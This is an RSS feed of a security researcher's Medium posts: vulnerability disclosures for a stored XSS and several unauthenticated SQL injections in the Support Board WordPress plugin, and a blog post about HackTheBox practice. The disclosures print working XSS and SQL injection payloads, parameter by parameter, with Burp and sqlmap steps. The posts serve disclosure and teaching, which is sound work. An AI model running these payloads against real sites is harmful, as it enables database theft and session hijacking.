<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by John Jefferson Li on Medium]]></title>
        <description><![CDATA[Stories by John Jefferson Li on Medium]]></description>
        <link>https://medium.com/@lijohnjefferson?source=rss-291ee9a4a17------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/1*m3iyzHCOCyjgt40U5b0EEA.jpeg</url>
            <title>Stories by John Jefferson Li on Medium</title>
            <link>https://medium.com/@lijohnjefferson?source=rss-291ee9a4a17------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Sun, 06 Dec 2026 15:47:06 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@lijohnjefferson/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[CVE-2021–24807]]></title>
            <link>https://medium.com/@lijohnjefferson/cve-2021-24807-6bc22af2a444?source=rss-291ee9a4a17------2</link>
            <guid isPermaLink="false">https://medium.com/p/6bc22af2a444</guid>
            <dc:creator><![CDATA[John Jefferson Li]]></dc:creator>
            <pubDate>Thu, 07 Oct 2021 10:28:40 GMT</pubDate>
            <atom:updated>2021-10-07T10:28:40.807Z</atom:updated>
            <content:encoded><![CDATA[<h3>Support Board 3.3.4 Authenticated Stored XSS</h3><p>Authenticated Stored Cross Site Scripting (XSS) Vulnerability exists in Support Board Version 3.3.4 via Notes parameter.</p><p>The impact of cross-site scripting vulnerabilities can vary from one web application to another. It ranges from session hijacking to credential theft and other security vulnerabilities. By exploiting a cross-site scripting vulnerability, an attacker can impersonate a legitimate user and take over their account. If the victim user has administrative privileges, it might lead to severe damage such as modifications in code or databases to further weaken the security of the web application, depending on the rights of the account and the web application.</p><p>To Exploit this Vulnerabilites you need to have Agent or Admin Level Access.</p><h3>Add Notes Function</h3><p>To exploit this parameter we need to go to chat and click on the + icon on the right side of the Notes and add like some text and press Add and intercept with BurpSuite</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*MdEk_L4IZlYUrqNpnvAURg.png" /></figure><p>As you can see in the Burpsuite Requests we can see the message Parameter we need to add the Payload inside it</p><p>&lt;ScRiPt&gt;alert(document.cookie)&lt;/sCriPt&gt;</p><p>and Send the Request</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*tAcwXhIG6_vfaEbvI__x2g.png" /></figure><p>now if we reload the webpage it will automatically show the cookies</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/679/1*lObsbeV4LxjThXD08awKpA.png" /></figure><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=6bc22af2a444" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Multiple SQL Injection (Unauthenticated) in Support Board v 3.3.3]]></title>
            <link>https://medium.com/@lijohnjefferson/multiple-sql-injection-unauthenticated-in-support-board-v-3-3-3-3e9b4214a4f9?source=rss-291ee9a4a17------2</link>
            <guid isPermaLink="false">https://medium.com/p/3e9b4214a4f9</guid>
            <category><![CDATA[cve]]></category>
            <dc:creator><![CDATA[John Jefferson Li]]></dc:creator>
            <pubDate>Fri, 03 Sep 2021 05:39:06 GMT</pubDate>
            <atom:updated>2021-09-14T05:10:23.456Z</atom:updated>
            <content:encoded><![CDATA[<h3>CVE-2021–24741</h3><p>Summary:</p><p>Support Board is a wordpress plugin that helps you automate your customers communication with artificial intelligence driven bots and a chat system integrated with the most used platform.</p><p>So While doing Penetration testing on Support Board I’ve found Multiple SQL Injection Points in Support Board version 3.3.3 which allows remote unauthenticated attackers to execute arbitrary SQL Command via (status_code, department, user_id, conversation_id, conversation_status_code, and recipient_id)</p><p>SQL Injection:<br>SQL injection is a web security vulnerability that allows an attacker to alter the SQL queries made to the database. This can be used to retrieve some sensitive information, like database structure, tables, columns, and their underlying data.</p><p>Here are the Vulnerable parameters that i’ve found on Support Board version 3.3.3</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/505/1*aMdS7EHuUPaL0N41oX-dIw.png" /></figure><h4>POC for every Parameters</h4><p>we need to send a message to the chat system and intercept the request using burpsuite</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/366/1*qUsbNOweiPxqfCP1UmKAnA.png" /><figcaption>send a hello message in the chat system</figcaption></figure><p>after intercepting we need to forward and forward the request until we found the function named <strong>“new-conversation” </strong>and we are going to forward to our repeater</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*J5_Q-C3Y4FctXt7sjNjpvw.png" /><figcaption>Found function=new-conversation</figcaption></figure><p>now we found our new-conversation function we are going to send it into repeater and go back to proxy tab to intercept the second request we are going to forward and forward it again to find the function named <strong>“send-message”</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*mJRL3qQebkp1rASndm_B-Q.png" /><figcaption>send-message function found</figcaption></figure><p>now we are going to forward it to repeater again so we will have 2 tabs in repeater which consists of the function <strong>“new-conversation” </strong>and <strong>“send-message”</strong></p><p><strong><em>New Conversation Function</em></strong></p><h3><strong>PoC for status code parameter</strong></h3><p>payload</p><pre>&quot;+AND+EXTRACTVALUE(4597,CONCAT(&quot;&quot;,&quot;&quot;&quot;+DB:+&quot;,(SELECT+(ELT(4597=4597,&quot;&quot;))),database()))+AND+&quot;fKoo&quot;=&quot;fKoo</pre><p>adding the payload to the status_code parameter and sending the request</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/801/1*bCJ-gRscaoVy4Sh9j_kO3Q.png" /><figcaption>request sent</figcaption></figure><p>so the response of this request is the database name</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/787/1*3rq6w9tWI8_Y-AAYilkY1Q.png" /><figcaption>response recieved with database name</figcaption></figure><h3><strong>PoC for deparment parameter</strong></h3><p>payload</p><pre>(UPDATEXML(5632,CONCAT(0x2e,&quot;Database+Name:+&quot;,(SELECT+(ELT(5632=5632,&quot;&quot;))),database()),3004))</pre><p>adding the payload to the department parameter and sending the request</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/789/1*gk5QKKxvTdyEArDeWeQC2g.png" /><figcaption>request sent</figcaption></figure><p>so the response of this request is the database name</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/785/1*bn9AKb4kAs-k4JXBAnHiCw.png" /><figcaption>response recieved with database name</figcaption></figure><p>Now we are going to the <strong>send-message</strong> function, to exploit the user_id and conversation_id parameters</p><p><strong><em>Send Message Function</em></strong></p><h3>PoC for user_id parameter</h3><p>payload</p><pre>&quot;+AND+GTID_SUBSET(CONCAT(&quot;Database+Name:+&quot;,(SELECT+(ELT(3919=3919,&quot;&quot;))),database()),3919)+AND+&quot;wrOJ&quot;=&quot;wrOJ</pre><p>adding the payload to the user_id parameter and sending the request</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/801/1*7F81jupWpEFpwnbNcAxd1g.png" /><figcaption>request sent</figcaption></figure><p>so the response of this request is the database name</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/791/1*r5nWsPna7Za6aEwHI-mZnw.png" /><figcaption>response recieved with database name</figcaption></figure><h3>PoC for conversation_id parameter</h3><p>payload</p><pre>&quot;+AND+(SELECT 1479+FROM+(SELECT(SLEEP(5)))xttx)--+BOXv</pre><p>we are going to use sql map for exploiting Time Based, so we are going to save the request from the repeater to as a req file then use sqlmap to scan the request to find the conversation_id parameter is vulnerable to time based</p><pre>sqlmap -r req</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/627/1*ry5-JOd3dWSPoe1R2E6MnA.png" /></figure><p>as you can see conversation_id is vulnerable</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*iWqky_C86BlcPDgRQkf28Q.png" /></figure><h3>PoC for conversation_status_code parameter</h3><p>payload</p><pre>WHERE+9793=9793+AND+(SELECT+4500+FROM+(SELECT(SLEEP(5)))oJCl)--+uAGp</pre><p>we are going to use sql map for exploiting Time Based, so we are going to save the request from the repeater to as a req file then use sqlmap to scan the request to find the conversation_id parameter is vulnerable to time based</p><pre>sqlmap -r req</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/631/1*9xpXef7e9e6Bs8Iw37PhQQ.png" /></figure><p>as you can see conversation_status_code is vulnerable</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*nka5DcKDZ0scq2E-Hmk7XQ.png" /></figure><h3>PoC for recipient_id parameter</h3><p>payload</p><pre>AND+(SELECT+7416+FROM+(SELECT(SLEEP(5)))eBhm)</pre><p>we are going to use sql map for exploiting Time Based, so we are going to save the request from the repeater to as a req file then use sqlmap to scan the request to find the conversation_id parameter is vulnerable to time based</p><pre>sqlmap -r req</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/632/1*W3j4eYp2DgYhB6y2ejkCag.png" /></figure><p>as you can see recipient_id is vulnerable</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*o-05cskitzwzpJQr9STocg.png" /></figure><p>Timeline:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/903/1*RqKJGnQizCpTqqEV3G9yWA.png" /></figure><h3><strong>Remediation</strong></h3><p>Update to the Latest Version Which is Version 3.3.4</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=3e9b4214a4f9" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[HackTheBox (HTB) Thoughts]]></title>
            <link>https://medium.com/@lijohnjefferson/hackthebox-htb-thoughts-d25b8fb60074?source=rss-291ee9a4a17------2</link>
            <guid isPermaLink="false">https://medium.com/p/d25b8fb60074</guid>
            <category><![CDATA[windows]]></category>
            <category><![CDATA[hacking]]></category>
            <category><![CDATA[pentesting]]></category>
            <category><![CDATA[linux]]></category>
            <category><![CDATA[programming]]></category>
            <dc:creator><![CDATA[John Jefferson Li]]></dc:creator>
            <pubDate>Mon, 07 Sep 2020 16:38:41 GMT</pubDate>
            <atom:updated>2020-09-08T18:47:19.880Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*zzEHudiIVAq3K64AxIXwPA.png" /></figure><p><strong><em>Here are my thoughts on HackTheBox after Practicing Penetration Testing in Hack The Box for 9 months.</em></strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/543/1*XQhF3dNeygZZt2LKI7WxQw.png" /></figure><h4><em>Breaking Down</em><a href="https://hackthebox.eu/"><em> </em><strong><em>HackTheBox</em></strong></a></h4><p>For those that don’t know HackTheBox , <a href="http://www.hackthebox.eu/"><strong><em>HackTheBox </em></strong></a>is a website where cyber security enthusiasts practice their Penetration Testing skills.</p><p>In HackTheBox There are 7 Ranks depending on Completion of active machines, Challenges, Endgames, and Fortress(Which are real life applicable):</p><ul><li>Noob &gt;= 0%</li><li>Script Kiddie &gt; 5%</li><li>Hacker &gt; 20%</li><li>Pro Hacker &gt; 45%</li><li>Elite Hacker &gt; 70%</li><li>Guru &gt; 90%</li><li>Omniscient = 100% (My Rank)</li></ul><p>In HackTheBox There are only 20 total machines that are active at one time, every week the oldest machine gets dropped and a new one gets added and there are challenges that cover the topics below:</p><ul><li>Reversing</li><li>Crypto</li><li>Stego</li><li>Pwn</li><li>Web</li><li>Misc</li><li>Forensics</li><li>Mobile</li><li>OSINT</li><li>Hardware</li></ul><h3><strong>How did I reach Omniscient</strong></h3><p>My journey started with Noob rank, and in the first few weeks in HackTheBox i was having a really hard time to hack into a machine, then i came up with new friends that are willing to give hints to get me into the machine. In a span of 3 weeks i was able to reach hacker rank. and after some practice and some hacking i was able to get to Omniscient in just a matter of 5 months and i want to thank <a href="http://rootless.rf.gd/?i=1">rootless</a>(ex ctf team) for keeping me up when i’m about to quit hackthebox at the time because of the obstacles i encountered</p><h3>Top 5 Tools That i use when Hacking into a machine</h3><ol><li><a href="https://nmap.org/"><strong><em>NMAP</em></strong></a></li></ol><p>Nmap provides a number of features for probing computer networks, including host discovery and service and operating system detection. These features are extensible by scripts that provide more advanced service detection, vulnerability detection, and other features.</p><p>2.<strong><em> </em></strong><a href="https://github.com/sullo/nikto"><strong><em>Nikto</em></strong></a></p><p>Nikto is a Vulnerability scanner that scans Websites for dangerous files/CGIs, outdated server software and other problems. Nikto can detect over 6700 potentially dangerous files/CGIs, checks for outdated versions of over 1250 servers, and version specific problems on over 270 servers.</p><p>3. <a href="https://www.metasploit.com/"><strong><em>Metasploit</em></strong></a></p><p>The Metasploit is a vulnerability exploitation tool that can be considered as a ‘collection of hacking tools and frameworks’ that can be used to execute various tasks. It is widely used by cyber security professionals and ethical hackers and is essential for any cyber security guy.</p><p>4.<strong><em> </em></strong><a href="https://www.openwall.com/john/"><strong><em>John The Ripper (john)</em></strong></a></p><p>John the Ripper is a popular password cracking pentesting tool that is most commonly used to perform dictionary attacks.</p><p>5.<a href="https://github.com/vanhauser-thc/thc-hydra"><strong><em> Hydra</em></strong></a></p><p>Hydra is a fast and stable Network Login Hacking Tool that will use a dictionary or brute-force attacks to try various password and login combinations against a log-in page.</p><h3>My Recommendation</h3><p>Before Staring <a href="https://www.hackthebox.eu/"><strong><em>HackTheBox</em></strong></a> You should have a knowledge in Networks, 1 to 2 Programming Languages i prefer Python and Bash, When you are stuck in a Machine Do not force yourself to try to get a inital foot fold on that specific machine you will just stress yourself out.</p><p>You Can Watch <a href="https://www.youtube.com/channel/UCa6eh7gCkpPo5XXUDfygQQA"><strong><em>IPPSEC’s </em></strong></a>Videos on youtube he has many retired machines writeup which i used to watch to gain new knowledge.</p><p>In HackTheBox there are some Machines and Challenges That requires programming, this will really train your programming skills there are some Machines that are ibn HackTheBox that requires <a href="https://www.secjuice.com/binary-exploitation/"><strong><em>Binary Exploitation</em></strong></a><strong><em> (Linux) </em></strong><a href="https://www.imperva.com/learn/application-security/buffer-overflow/"><strong><em>Buffer Overflow</em></strong></a><strong><em> (Windows)</em></strong></p><p>Some of the machines and challenges on HTB are out of scope to real life situations. But It’s awesome to learn new tricks and techniques as someone in the field. Some Of the Machine are going to be applicable in the real world but they are important to the creative thinking and other aspects of what pen-testing involves and therefore still worth your time to do them.</p><p>I believe HackTheBox is a great platform for all types of skill levels. They have a wide varity of machines for all levels of skill. I personally learn quite a few things.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=d25b8fb60074" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>